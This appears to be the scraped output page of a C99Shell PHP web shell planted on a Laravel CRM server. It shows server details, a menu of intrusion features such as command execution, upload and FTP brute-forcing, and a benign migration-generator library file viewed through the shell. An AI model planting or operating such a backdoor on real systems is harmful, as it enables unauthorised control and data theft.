!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/prettus/l5-repository/src/Prettus/Repository/Generators/   drwxrwxrwx
Free 12.97 GB of 57.97 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MigrationGenerator.php (3.71 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Prettus\Repository\Generators;

use 
Prettus\Repository\Generators\Migrations\NameParser;
use 
Prettus\Repository\Generators\Migrations\SchemaParser;
use 
Symfony\Component\HttpFoundation\File\Exception\FileNotFoundException;

/**
 * Class MigrationGenerator
 * @package Prettus\Repository\Generators
 * @author Anderson Andrade <contato@andersonandra.de>
 */
class MigrationGenerator extends Generator
{

    
/**
     * Get stub name.
     *
     * @var string
     */
    
protected $stub 'migration/plain';


    
/**
     * Get base path of destination file.
     *
     * @return string
     */
    
public function getBasePath()
    {
        return 
base_path() . '/database/migrations/';
    }


    
/**
     * Get destination path for generated file.
     *
     * @return string
     */
    
public function getPath()
    {
        return 
$this->getBasePath() . $this->getFileName() . '.php';
    }


    
/**
     * Get generator path config node.
     *
     * @return string
     */
    
public function getPathConfigNode()
    {
        return 
'';
    }


    
/**
     * Get root namespace.
     *
     * @return string
     */
    
public function getRootNamespace()
    {
        return 
'';
    }


    
/**
     * Get migration name.
     *
     * @return string
     */
    
public function getMigrationName()
    {
        return 
strtolower($this->name);
    }


    
/**
     * Get file name.
     *
     * @return string
     */
    
public function getFileName()
    {
        return 
date('Y_m_d_His_') . $this->getMigrationName();
    }


    
/**
     * Get schema parser.
     *
     * @return SchemaParser
     */
    
public function getSchemaParser()
    {
        return new 
SchemaParser($this->fields);
    }


    
/**
     * Get name parser.
     *
     * @return NameParser
     */
    
public function getNameParser()
    {
        return new 
NameParser($this->name);
    }


    
/**
     * Get stub templates.
     *
     * @return string
     */
    
public function getStub()
    {
        
$parser $this->getNameParser();

        
$action $parser->getAction();
        switch (
$action) {
            case 
'add':
            case 
'append':
            case 
'update':
            case 
'insert':
                
$file 'change';
                
$replacements = [
                    
'class'       => $this->getClass(),
                    
'table'       => $parser->getTable(),
                    
'fields_up'   => $this->getSchemaParser()->up(),
                    
'fields_down' => $this->getSchemaParser()->down(),
                ];
                break;

            case 
'delete':
            case 
'remove':
            case 
'alter':
                
$file 'change';
                
$replacements = [
                    
'class'       => $this->getClass(),
                    
'table'       => $parser->getTable(),
                    
'fields_down' => $this->getSchemaParser()->up(),
                    
'fields_up'   => $this->getSchemaParser()->down(),
                ];
                break;
            default:
                
$file 'create';
                
$replacements = [
                    
'class'  => $this->getClass(),
                    
'table'  => $parser->getTable(),
                    
'fields' => $this->getSchemaParser()->up(),
                ];
                break;
        }
        
$path config('repository.generator.stubsOverridePath'__DIR__);

        if (!
file_exists($path "/Stubs/migration/{$file}.stub")) {
            
$path __DIR__;
        }

        if (!
file_exists($path "/Stubs/migration/{$file}.stub")) {
            throw new 
FileNotFoundException($path "/Stubs/migration/{$file}.stub");
        }

        return 
Stub::create($path "/Stubs/migration/{$file}.stub"$replacements);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0083 ]--